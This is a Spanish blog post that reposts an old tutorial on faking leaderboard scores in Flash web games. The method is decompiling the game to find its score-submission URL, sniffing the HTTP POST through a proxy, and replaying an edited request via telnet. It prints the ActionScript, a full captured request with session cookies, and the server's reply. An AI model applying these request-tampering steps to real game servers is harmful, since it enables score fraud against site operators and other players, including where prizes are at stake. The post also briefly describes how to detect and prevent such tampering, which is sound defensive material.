Cómo hackear juegos online

De nuevo he encontrado un interesante enlace mirando mis marcadores perdidos por el navegador. En este caso se trata de un pequeño tutorial de un viejo amigo y compañero de aventuras cibernéticas conocido por el alias de hypnosys (qué recuerdos, qué locuras!).

El tutorial intenta demostrar y enseñar que es relativamente fácil hackear los juegos que encontramos en diversas páginas web.
Dicho documento está dedicado a mi persona, lo cual estoy enormemente agradecido.
La técnica que usa Hypnosys para el ejemplo es del todo válida y funcional, usando herramientas de terceros así como otras que nuestro sistema operativo incorpora de serie. Antes de publicar el documento se puso en contacto conmigo para ultimar detalles, casualmente hacía poco que yo también había realizado unos ‘experimentos’ en esa misma área así que contrastamos experiencias y comprobamos que en la mayoría de los casos es posible ‘engañar’ a los servidores con puntuaciones y/o resultados falsos. Y si no que le pregunten a los de eljueves.es y a mi hermano xD (bueno, mejor no dar más detalles, además de eso hace ya mucho tiempo ;)).

El enlace original estaba en datafull.com pero parece ser que el sitio ha cambiado y no lo encuentro (ha pasado tanto tiempo…). Pero resuta que el documento ha gustado y se ha replicado en muchos sitios, entre ellos:




ACTUALIZACIÓN
(Mayo 2011)

Después de seis años de haber publicado esta entrada en mi abandonado blog, he decidido editarla para añadir el tutorial escrito por mi viejo amigo Hypnosys.
Las razones que me han motivado para editarla han sido básicamente dos:

  1. Cientos de comentarios pidiendo ayuda de “cómo hackear” juegos online. Con lo fácil que es utilizar el eficiente buscador Google… pero parece que el enlace a la búsqueda de Google que puse hace 6 años tampoco sirvió para algunos.
  2. Algunos comentarios que dudan sobre la veracidad y de la intención de esta entrada del blog y por lo tanto de mí. No puedo hacer más que sorprenderme con algunos posts… Yo no intento engañar a nadie. ¿De qué me serviría? ¿qué ganaría yo con ello? ¿tiene algún sentido? Por favor…

Espero que haya quedado todo claro ahora.
Antes de pegar el tutorial, si me lo permitís, me gustaría daros algunas sugerencias:
  • No es necesario que me pidáis cómo hackear este u otro juego.
    No, no voy a contestar a nadie que pida “cómo hackear” ningún juego.
    Muchos pensaréis: “no quiere ayudar porque realmente no es un hacker y no tiene ni idea”
    Si creéis que uno es como esos hackers de las películas… no, no lo soy xD
    Veréis, yo soy una persona normal; con familia, trabajo… y poco tiempo. Cada juego es un caso particular, que hay que estudiar para encontrar después los métodos para manipularlo, ¿de verdad creéis que alguien va a haceros todo ese trabajo?
  • No publiquéis vuestras direcciones de correo en vuestros mensajes. Digo esto por vuestro bien… millones de bots están recopilándolos. Luego no os quejéis si recibís spam.
  • No os desesperéis si no obtenéis contestación, este blog lo abandoné hace mucho, y no encuentro tiempo para seguir publicando… lamentablemente.
Ahora sí, a continuación pego el tutorial original. Se publicó hace 8 años… muchas cosas han cambiado, aunque seguramente todavía siga siendo útil para algunos casos.
El tuto explica paso a paso algún caso particular, así que en otros casos obviamente habría que aplicar técnicas alternativas y/o complementarias.
Haz clic sobre “Leer más” para acceder al documento original.



“En el presente trabajo voy a explicarles los métodos para ingresar en los rankings e ingresar los puntajes deseados.”
By hypnosys







Cómo hackear juegos on-line:
por hypnosys
Dedicado a f3lin3

En el presente trabajo voy a explicarles los métodos para ingresar en
los rankings e ingresar los puntajes deseados.
Mi propósito con el presente texto es mostrarles a los programadores
las falencias para que en el futuro los eviten.
Existen muchas maneras de remediar esto, pero la mayoría de los juegos
en internet son “hackeables” con los métodos planteados aquí.En esta
entrega, vamos a analizar los juegos basados en Flash.
Y para finalizar, no me hago responsable de sus actos.
Lo primero que debemos diferenciar es si es un juego basado en Shockwave,
Java, o Flash.
En este texto vamos a analizar los juegos en Flash.
Como conejillo de indias he elegido un sitio muy conocido de chicos (www.Mxxxx.com/juegos.asp)
Introducción:
Cuando ustedes juegan en juegos online, con rankings, tienen que saber
que hay dos partes: el juego en sí, y una base de datos.
Ahora ponganse a pensar, entre el juego y la base de datos tiene que
haber un nexo, alguna forma de comunicarse. Bien, es exactamente lo que
debemos hacer, conocer el medio por la cual el juego se conecta y cómo
lo hace a la base de datos.
Es indistinto el lenguaje de scripts que haya utilizado para la programación
de la página/portal.
Para obtener el cómo se comunica el swf (archivo flash) con el
servidor, hay dos formas de hacerlo:
Método 1: Decompilación
Si optamos en decompilarlo debemos obtener el archivo swf. Hay
dos medios: ingresando al juego y luego buscarlo en los archivos temporales
o analizar el código fuente y encontrar en qué parte del servidor se
encuentra alojado el archivo.
La decompilación en mi caso la hago con el conocido Sothink SWF Decompiler,
aunque hay otros menos conocidos y mucho más flexibles.
Luego, se tiene que buscar el string del action script donde le
diga al servidor qué subir, y lo importante es la sintaxis utilizada
para que lo entienda el servidor de la manera correcta.
En el juego Mutango del sitio antes mencionado hemos obtenido lo siguiente:
// Action script…
on (release, keyPress “

)
{
txtError = “”;
if (txtNombre == “”)
{
txtError = “Por favor, ingresa tu nombre para poder ingresar al ranking”;
gotoAndStop(391);
} // end if
if (txtEmail == “”)
{
txtError = “Por favor, ingresa tu direccion de e-mail para poder ingresar
al ranking”;
gotoAndStop(391);
} // end if
if (txtError == “”)
{
getURL(“mutango.asp?juego=MUTANGO&nombre=” + txtNombre + “&email=” +
txtEmail + “&puntaje=” + txtPuntos, “”);
gotoAndStop(392);
} // end if
}
El getURL es lo importante, ahí dice la sintaxis y el archivo.
Como hemos encontrado en el código fuente cuál es el directorio, es evidente
lo que debemos hacer.
Método 2: El sniffeo de la conección http.
El sniffeo es multiuso y es lo más pancho que hay. Para la gente que
no entiende, el sniffing consiste en “olfatear” una conección. En este
caso monitorearemos el tráfico. Lo único que hay que hacer es jugar al
juego, perder, ingresar al ranking “legítimamente” y ver los logueos
del sniffer. Sin embargo en el juego RAMON es completamente diferente
al del anterior, vamos a ver:



// Action script…
on (release)
{
if (nombre.length)
{
status = “Por Favor, Completa tu nombre”;
}
else if (!mail.length || mail.indexOf(“@”) == -1 || mail.indexOf(“.”)
== -1)
{
status = “Por Favor, Ingresa correctamente tu direccion de mail”;
}
else
{
getURL(“ranking.asp”, “_level0″, “POST”);
play();
} // end if
}



“ranking.asp”, “_level0″, “POST”, ¿¿qué será esto??
Bien, sabemos que getURL(“ranking.asp”, “_level0″, “POST”); llama
a ranking.asp mediante un método POST http, como no sabemos
con claridad, en este caso, vamos a tener que usar… ¡sniffing!!!
Hay muchos sniffer reconocidos y buenos como son el ethereal, pero para
nuestros propósitos nos basta un proxy de intermediario que loguee todas
las conecciones y peticiones. Hay uno llamado http interceptor,
que es justamente un “interceptor” de las conecciones http. En realidad
cualquier proxy que loguee sirve.
En nuestro caso nos aparece lo siguiente:




POST /simon/ranking.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 4285
Connection: Close
User-Agent: Gorilla/9 (compatible; Windows RG 1.0; Symantec 1.0)
Host: www.xxxxxxxxx.com
Pragma: no-cache
Cookie: SITESERVER=ID=cf4c7e0880b1a84819b0d24c0e548f12;
sts=onde=%2Fsimon%2Franking%2Easp%3F;
ASPSESSIONIDCCTCQABA=
PGEAOIBACMPKBJAEMODLHNPH
Referer: timercount%3D999


percent=100&total=89&loaded=89&timercount=40&
TextField14=JUGAR&createlib=%5Btype+Function%5D
&
indtast=%2C1%2C3&tal=3%2C1%2C3%2C2…
…&i=999&timer=41&res=&nombre=Se%F1or+Frutilla&mail
=ilobaith%40datafull%2Ecom&juego=simon&status=&v=0&o=
0&t=1&flag=1&tast=2&f=2&error=0&u=20&intro
=2&fast=0&sound=1&k=2&n=3&p=6&loop=1


Un paquete de 4285 bytes, y los datos al final.
Simplemente debemos modificar lo que hayamos identificado el lugar donde
se encuentran los puntajes y enviarlo al servidor.
Para esto también un abanico de opciones, el telnet de windows, el SecureCRT,
el Netcat, etc.
Una vez enviado, deben esperar la respuesta 200 OK, y estará listo el
pollo.
Y he aquí el resultado completo:

C:>telnet 200.xx.132.xxx 80



POST /simon/ranking.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 4285
Connection: Close
User-Agent: Gorilla/9 (compatible; Windows RG 1.0; Symantec 1.0)
Host: www.XXXXXXXXX.com
Pragma: no-cache
Cookie: SITESERVER=ID=cf4c7e0880b1a84819b0
d24c0e548f12; sts=onde=%2Fsimon%2Franking%2E
asp%3F; ASPSESSIONIDCCTCQABA=
PGEAOIBACMPKBJAEMODLHNPH
Referer: timercount%3D999
percent=100&total=89&loaded=89&timercount=
40&TextField14=JUGAR&createlib=%5Btype+
Function%5D&indtast=%2C1%2C3&tal=3%2C1
%2C3%2C2%2C4%2C2%2C2%2C3%2C1%2C
3%2C2%2C4%2C2%2C2%2C3%2C4%2C2%2
C3%2C2%2C2%2C4%2C4%2C3%2C3%2C2%
2C1%2C2%2C4%2C3%2C1%2C4%2C1%2C2
%2C2%2C2%2C1%2C4%2C2%2C1%2C4%2C
3%2C2%2C1%2C2%2C3%2C3%2C3%2C2%2
C2%2C3%2C2%2C4%2C3%2C4%2C3%2C3%
2C4%2C2%2C3%2C1%2C3%2C4%2C1%2C4
%2C2%2C3%2C3%2C3%2C4%2C4%2C3%2C
1%2C4%2C2%2C3%2C3%2C2%2C4%2C3%2
C4%2C2%2C4%2C2%2C3%2C1%2C3%2C2%
2C3%2C3%2C1%2C4%2C2%2C3%2C1%2C3%
2C4%2C3%2C2%2C3%2C4%2C2%2C3%2C2%
2C3%2C2%2C3%2C2%2C2%2C4%2C2%2C2%
2C3%2C3%2C3%2C2%2C3%2C2%2C4%2C2%
2C3%2C3%2C1%2C3%2C1%2C1%2C2%2C4%
2C2%2C2%2C3%2C2%2C2%2C4%2C3%2C1%
2C2%2C2%2C3%2C2%2C4%2C1%2C3%2C3%
2C4%2C2%2C1%2C2%2C4%2C2%2C3%2C4%
2C2%2C3%2C3%2C3%2C3%2C2%2C2%2C3%
2C4%2C3%2C2%2C2%2C1%2C2%2C2%2C1%
2C4%2C1%2C2%2C4%2C1%2C2%2C3%2C3%
2C2%2C3%2C2%2C1%2C2%2C1%2C2%2C1%
2C2%2C1%2C2%2C3%2C2%2C4%2C3%2C1%
2C2%2C3%2C3%2C2%2C2%2C2%2C3%2C2%
2C1%2C3%2C3%2C3%2C3%2C3%2C2%2C2%
2C2%2C3%2C4%2C2%2C3%2C3%2C2%2C3%
2C4%2C3%2C2%2C3%2C2%2C4%2C2%2C3%
2C1%2C3%2C3%2C4%2C3%2C3%2C1%2C3%
2C3%2C3%2C4%2C4%2C4%2C2%2C1%2C3%
2C2%2C3%2C3%2C4%2C2%2C4%2C2%2C


POST /simon/ranking.asp HTTP/1.0
1%2C1%2C3%2C4%2C1%2C4%2C2%2C2%
2C3%2C2%2C4%2C4%2C3%2C3%2C2%2C
3%2C4%2C2%2C2%2C2%2C1%2C3%2C3%
2C3%2C1%2C2%2C2%2C2%2C2%2C3%2C
2%2C1%2C2%2C4%2C3%2C2%2C3%2C3%
2C4%2C4%2C3%2C1%2C3%2C3%2C1%2C
3%2C3%2C3%2C2%2C1%2C4%2C2%2C1%
2C3%2C2%2C1%2C4%2C2%2C2%2C4%2C
4%2C4%2C1%2C1%2C4%2C1%2C2%2C3%
2C3%2C3%2C3%2C2%2C1%2C2%2C3%2C
3%2C2%2C4%2C3%2C3%2C3%2C2%2C2%
2C3%2C2%2C2%2C2%2C4%2C2%2C3%2C
1%2C3%2C4%2C2%2C1%2C1%2C3%2C3%
2C1%2C2%2C2%2C2%2C4%2C3%2C1%2C
1%2C1%2C2%2C3%2C2%2C3%2C1%2C2%
2C2%2C2%2C1%2C2%2C1%2C3%2C2%2C
2%2C2%2C2%2C2%2C1%2C2%2C2%2C3%
2C2%2C3%2C2%2C2%2C3%2C2%2C3%2C2
%2C3%2C3%2C4%2C3%2C1%2C3%2C2%2
C1%2C2%2C4%2C3%2C2%2C1%2C1%2C4
%2C2%2C2%2C4%2C2%2C2%2C4%2C2%2
C3%2C2%2C2%2C2%2C3%2C4%2C2%2C4
%2C2%2C2%2C2%2C2%2C2%2C2%2C4%2
C3%2C2%2C3%2C2%2C2%2C2%2C4%2C3
%2C3%2C2%2C4%2C1%2C3%2C2%2C3%2
C4%2C2%2C2%2C1%2C2%2C3%2C4%2C2%
2C2%2C4%2C3%2C2%2C4%2C4%2C3%2C3
%2C4%2C3%2C2%2C3%2C3%2C2%2C2%2C
4%2C1%2C1%2C4%2C2%2C2%2C4%2C1%2
C3%2C1%2C3%2C1%2C1%2C2%2C2%2C2%
2C2%2C1%2C3%2C3%2C2%2C3%2C1%2C1
%2C2%2C1%2C1%2C4%2C3%2C4%2C2%2C
4%2C2%2C2%2C1%2C3%2C1%2C2%2C1%2
C2%2C2%2C3%2C1%2C4%2C3%2C1%2C4%
2C2%2C2%2C1%2C3%2C4%2C4%2C4%2C2
%2C2%2C2%2C4%2C4%2C1%2C3%2C2%2C
2%2C1%2

POST /simon/ranking.asp HTTP/1.0
C2%2C3%2C2%2C4%2C1%2C2%2C3%2C4%
2C2%2C1%2C4%2C3%2C2%2C2%2C1%2C1%
2C3%2C1%2C1%2C4%2C1%2C3%2C1%2C2%
2C4%2C1%2C3%2C2%2C2%2C3%2C3%2C2%
2C3%2C1%2C4%2C3%2C3%2C2%2C2%2C3%
2C2%2C1%2C4%2C3%2C4%2C2%2C3%2C2%
2C3%2C4%2C2%2C1%2C3%2C3%2C4%2C2%
2C1%2C3%2C3%2C2%2C3%2C2%2C2%2C3%
2C3%2C2%2C1%2C2%2C2%2C1%2C4%2C1%
2C4%2C2%2C2%2C3%2C2%2C2%2C3%2C3%
2C1%2C2%2C2%2C2%2C2%2C1%2C1%2C3%
2C3%2C2%2C2%2C4%2C3%2C2%2C4%2C4%
2C3%2C3%2C2%2C3%2C3%2C1%2C1%2C2%
2C3%2C3%2C2%2C4%2C2%2C2%2C2%2C2%
2C3%2C2%2C2%2C3%2C2%2C1%2C3%2C2%
2C3%2C2%2C4%2C1%2C1%2C2%2C1%2C3%
2C4%2C4%2C2%2C1%2C3%2C2%2C2%2C3%
2C2%2C2%2C1%2C3%2C2%2C3%2C3%2C2%
2C2%2C1%2C3%2C3%2C3%2C3%2C2%2C1%
2C1%2C2%2C2%2C4%2C2%2C3%2C4%2C2%
2C2%2C2%2C2%2C3%2C3%2C2%2C3%2C1%
2C2%2C3%2C2%2C4%2C3%2C2%2C3%2C3%
2C2%2C3%2C1%2C1%2C1%2C2%2C4%2C2%
2C2%2C4%2C2%2C3%2C4%2C2%2C1%2C1%
2C4%2C2%2C1%2C2%2C1%2C2%2C2%2C1%
2C4%2C4%2C4%2C3%2C4%2C4%2C4%2C3%
2C3%2C2%2C4%2C4%2C2%2C2%2C3%2C4%
2C2%2C2%2C2%2C3%2C2%2C2%2C2%2C2%
2C2%2C3%2C2%2C3%2C2%2C1%2C2%2C2%
2C1%2C4%2C3%2C2
POST /simon/ranking.asp HTTP/1.0
%2C3%2C3%2C1%2C4%2C1%2C2%2C3%2C3
%2C3%2C1%2C3%2C3%2C3%2C2%2C2%2C2
%2C2%2C4%2C3%2C1%2C2%2C2%2C3%2C2
%2C3%2C2%2C2%2C3%2C4%2C2%2C1%2C2
%2C4%2C2%2C2%2C3%2C1%2C2%2C2%2C4
%2C1%2C4%2C3%2C1%2C3%2C2%2C2%2C2
%2C3%2C3%2C2%2C2%2C3%2C2%2C3%2C3
%2C2%2C3%2C4%2C3%2C3%2C4%2C2%2C2
%2C2%2C2%2C2%2C2%2C3%2C2%2C2%2C2
%2C3%2C4%2C2%2C4%2C2%2C2%2C2%2C2
%2C2%2C3%2C1%2C4%2C4%2C2%2C4%2C3
%2C1%2C2%2C2%2C2%2C1%2C1%2C3%2C1
%2C4%2C3%2C2%2C3%2C3%2C4%2C2%2C3
%2C2%2C3%2C2%2C4%2C4%2C2%2C4%2C2
%2C2%2C3%2C2%2C1%2C1%2C3%2C2%2C2
%2C2%2C1%2C3%2C2%2C3%2C2%2C2%2C4
%2C2%2C3%2C3%2C3%2C2%2C1%2C3%2C3
%2C4%2C3%2C3%2C3%2C4%2C3%2C2%2C3
%2C3%2C4%2C2%2C3%2C2%2C2%2C1%2C2
%2C2%2C4%2C4%2C2%2C2%2C3%2C3%2C1
%2C2%2C2%2C2%2C2%2C1%2C2%2C2%2C3
%2C3%2C2%2C2%2C1%2C2%2C4%2C2%2C3
%2C4%2C3%2C3%2C2%2C4%2C1%2C4%2C3
%2C3%2C3%2C1%2C4%2C1%2C3%2C1%2C
3%2C1%2C3%2C1%2C3%2C3%2C4%2C1%2C
3%2C1%2C1%2C1%2C2%2C4%2C4%2C2%2C
2%2C2%2C3%2C3%2C2%2C2%2C4%2C3%2C
2%2C3%2C3%2C2%2C1%2C4%2C2%2C4%2C
2%2C1%2C2%2C3%2C1%2C2%2C4%2C3%2C
2%2C2%2C2%2C3%2C2%2C3%2C1%2C2%2C
2%2C1%2C1&i=999&timer=41&res=&nombre=
Se%F1or+Frutilla&mail=ilobaith%40datafull%
2Ecom&juego=simon&status=&v=0&o=0&t=1&
flag=1&tast=2&f=2&error=0&u=20&intro=2&fast=
0&sound=1&k=2&n=3&p=6&loop=1

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 03 Sep 2003 14:26:01 GMT
Connection: Keep-Alive
Content-Length: 1108
Content-Type: text/html
Set-Cookie: sts=onde=%2Fsimon%2Franking%2Easp
%3F%26percent%3D100%26total%3D89%26loaded
%3D89%26timercount%3D40%26TextField14%3DJU
GAR%26createlib%3D%255Btype%2BFunction%255
D%26indtast%3D%252C1%252C3%26tal%3D3%25
2C1%252C3%252C2%252C4%252C2%252C2%25
2C3%252C1%252C3%252C2%252C4%252C2%25
2C2%252C3%252C4%252C2%252C3%252C2%25
2C2%252C4%252C4%252C3%252C3%252C2%25
2C1%252C2%252C4%252C3%252C1%252C4%25
2C1%252C2%252C2%252C2%252C1%252C4%25
2C2%252C1%252C4%252C3%252C2%252C1%25
2C2%252C3%252C3%252C3%252C2%252C2%25
2C3%252C2%252C4%252C3%252C4%252C3%25
2C3%252C4%252C2%252C3%252C1%252C3%25
2C4%252C1%252C4%252C2%252C3%252C3%25
2C3%252C4%252C4%252C3%252C1%252C4%25
2C2%252C3%252C3%252C2%252C4%252C3%25
2C4%252C2%252C4%252C2%252C3%252C1%25
2C3%252C2%252C3%252C3%252C1%252C4%25
2C2%252C3%252C1%252C3%252C4%252C3%25
2C2%252C3%252C4%252C2%252C3%252C2%2
52C3%252C2%252C3%252C2%252C2%252C4%2
52C2%252C2%252C3%252C3%252C3%252C2%2
52C3%252C2%252C4%252C2%252C3



Conclusión:


Esto es todo amigos, este texto no es nada revolucionario, ni son técnicas
novedosas. Sin embargo es necesario concientizar a programadores de juegos
en el caso de qqqque existan premios relacionados con puntajes altos
en los rankings.
Una forma de detectar esto, es mediante los logs los diversos intentos
de subir los puntajes en forma inadecuada y la prevención mediante la
codificación de los puntajes combinando con cookies, y diversas técnicas
propias que pueden ser inventados por los mismos programadores.
Reitero, no soy responsable de lo que hagan niños.


hypnosys


Hasta aquí el viejo tutorial de Hypnosys.

Finalmente, añadiré algunas reflexiones para los que quieren aprender.
Si realmente queréis aprender a “hackear”, deberíais experimentar antes de preguntar. Buscad en la red si hay algo que no entendéis y no parar hasta entenderlo.
Todo está en la red, documentos, tutoriales, libros…
Si no sabes lo que haces nunca aprenderás a desarrollar y resolver nuevos retos.

Intenta identificarte con alguno de estos perfiles:
  1. Cuando hackeo disfruto “chuleando” al conseguir puntuaciones o victorias falsas. Los demás pensarán que soy un genio.
  2. Cuando hackeo disfruto experimentando, disfruto al adquirir nuevos conocimientos y superar nuevos retos. Disfruto compartiendo mis conocimientos con mis amigos.
  3. Cuando hackeo disfruto echando a mi enemigo de las partidas, disfruto porque puedo vengarme.
Si te ves reflejado en el perfil 1 ó 3, entonces será difícil que llegues a ser un auténtico hacker 😉
En cambio, si el momento que más disfrutas es mientras escribes un script, un algoritmo o explotas las herramientas del sistema operativo para obtener lo que deseas, entonces vas por buen camino. Esa es la filosofía hacker, y no lo que véis en la televisión y el cine.